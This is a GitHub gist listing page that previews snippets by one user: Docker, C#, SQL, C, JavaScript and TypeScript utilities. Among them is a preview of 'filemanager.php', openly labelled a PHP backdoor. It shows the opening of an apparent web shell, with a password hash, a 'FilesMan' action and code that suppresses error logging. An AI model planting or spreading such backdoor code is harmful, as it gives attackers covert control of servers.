Skip to content

Instantly share code, notes, and snippets.

@kek-Sec
kek-Sec / docker-compose.yml
Created August 17, 2022 18:20
ELK Stack Docker + Traefik + Basic auth
version: "3.7"
services:
elk:
image: sebp/elk
ports:
- "5601:5601"
- "9200:9200"
- "5044:5044"
restart: always
container_name: elkstack
@kek-Sec
kek-Sec / TaskQueue.cs
Created August 2, 2022 07:22
Thread safe, FIFO Task queue
public class TaskQueue
{
private SemaphoreSlim semaphore;
public TaskQueue()
{
semaphore = new SemaphoreSlim(1);
}
public async Task<T> Enqueue<T>(Func<Task<T>> taskGenerator)
@kek-Sec
kek-Sec / efExtenstions.cs
Created July 27, 2022 11:44
Fetch all dbSets from a given EfCore context
using (var ctx = new TestContext())
{
var dbSetProperties = ctx.GetDbSetProperties();
List<object> dbSets = dbSetProperties.Select(x => x.GetValue(ctx, null)).ToList();
}
public static class Extensions
{
public static List<PropertyInfo> GetDbSetProperties(this DbContext context)
{
@kek-Sec
kek-Sec / filemanager.php
Created June 21, 2022 09:52
PHP backdoor , file manager
<?php
/*При активизации Suid модуля в целях бехопасности пароль обязателен.*/
$auth_pass = "a0c3b1e2e1786293ca9bfb710e49ad42";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@kek-Sec
kek-Sec / JsonResultTestingUtils.cs
Created June 9, 2022 10:38
Utilities for testing JsonResult in .net
public static class JsonResultTestingUtils
{
///<summary>
/// Helper function that parses a given JsonResult and validates that the content is of the expected type
/// </summary>
/// <typeparam name="T">The expected type of the content</typeparam>
/// <param name="result">The JsonResult to be parsed</param>
/// <returns>True if the content is of the expected type, false otherwise</returns>
public static bool ValidateJsonResult<T>(JsonResult result)
{
@kek-Sec
kek-Sec / net.sql
Created May 18, 2022 07:41
SQL table to c# class
declare @TableName sysname = 'TableName'
declare @Result varchar(max) = 'public class ' + @TableName + '
{'
select @Result = @Result + '
public ' + ColumnType + NullableSign + ' ' + ColumnName + ' { get; set; }
'
from
(
select
@kek-Sec
kek-Sec / vigenere.c
Created November 2, 2021 17:08
Vigenere cipher in c
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
void encrypt();
void decrypt();
@kek-Sec
kek-Sec / check_mobile.js
Created October 19, 2021 13:06
Javascript , check if device is mobile
let isMobile = window.matchMedia(
'only screen and (max-width: 999px)'
).matches;
@kek-Sec
kek-Sec / count_files.cs
Created October 5, 2021 08:08
c# Count Files in directory WINAPI
[Serializable, StructLayout(LayoutKind.Sequential)]
public struct WIN32_FIND_DATA
{
public int dwFileAttributes;
public int ftCreationTime_dwLowDateTime;
public int ftCreationTime_dwHighDateTime;
public int ftLastAccessTime_dwLowDateTime;
public int ftLastAccessTime_dwHighDateTime;
public int ftLastWriteTime_dwLowDateTime;
public int ftLastWriteTime_dwHighDateTime;
@kek-Sec
kek-Sec / getWeekNumber.ts
Created October 4, 2021 11:44
Get week number in typescript
private getWeekNumber(date:Date)
{
date.setHours(0, 0, 0, 0);
// Thursday in current week decides the year.
date.setDate(date.getDate() + 3 - (date.getDay() + 6) % 7);
// January 4 is always in week 1.
var week1 = new Date(date.getFullYear(), 0, 4);
// Adjust to Thursday in week 1 and count number of weeks from date to week1.
return 1 + Math.round(((date.getTime() - week1.getTime()) / 86400000
- 3 + (week1.getDay() + 6) % 7) / 7);